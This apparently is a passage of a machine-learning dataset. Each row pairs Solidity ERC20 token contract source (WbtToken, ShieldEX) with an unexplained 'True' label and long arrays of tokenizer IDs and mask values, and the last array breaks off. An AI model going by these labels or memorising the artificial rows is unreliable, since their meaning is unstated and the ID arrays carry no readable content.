OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = false;
bool public pausedOwnerAdmin = false;
address public admin;
/**
* @dev Modifier to make a function callable based on pause states.
*/
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
require(msg.sender == admin || msg.sender == owner);
} else {
revert();
}
}
_;
}
/**
* @dev called by the owner to set new pause flags
* pausedPublic can't be false while pausedOwnerAdmin is true
*/
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public {
require(!(newPausedPublic == false && newPausedOwnerAdmin == true));
pausedPublic = newPausedPublic;
pausedOwnerAdmin = newPausedOwnerAdmin;
PausePublic(newPausedPublic);
PauseOwnerAdmin(newPausedOwnerAdmin);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract WbtToken is PausableToken {
string public constant name = "WBT";
string public constant symbol = "WBT";
uint8 public constant decimals = 8;
bool private changed;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
function WbtToken() public {
// assign the admin account
admin = msg.sender;
changed = false;
// assign the total tokens to Trinity 1 B
totalSupply = 1 * 1000 * 1000 * 1000 * 100000000;
balances[msg.sender] = totalSupply;
Transfer(address(0x0), msg.sender, totalSupply);
}
function transfer(address _to, uint _value) validDestination(_to) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) validDestination(_to) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) public returns (bool) {
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) public onlyOwner {
// owner can drain tokens that are sent here by mistake
token.transfer( owner, amount );
}
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
function changeAdmin(address newAdmin) public onlyOwner {
// owner can re-assign the admin
AdminTransferred(admin, newAdmin);
admin = newAdmin;
}
function changeAll(address newOwner) public onlyOwner{
if (!changed){
transfer(newOwner,totalSupply);
changeAdmin(newOwner);
transferOwnership(newOwner);
changed = true;
}
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
1996,
2219,
3085,
9570,
2953,
4520,
1996,
2434,
1036,
3954,
1036,
1997,
1996,
3206,
2000,
1996,
4604,
2121,
1008,
4070,
1012,
1008,
1013,
3853,
2219,
3085,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
4651,
2491,
1997,
1996,
3206,
2000,
1037,
2047,
12384,
2121,
1012,
1008,
1030,
11498,
2213,
2047,
12384,
2121,
1996,
4769,
2000,
4651,
6095,
2000,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
6095,
6494,
3619,
7512,
5596,
1006,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1004,
1001,
4464,
1025,
1056,
2907,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
9413,
2278,
11387,
22083,
2594,
1063,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
3853,
5703,
11253,
1006,
4769,
2040,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ShieldEX is ERC20("ShieldEX", "SLD"), Ownable {
constructor () public{
_mint(_msgSender(), 1000000000 * 1e18);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
5757,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
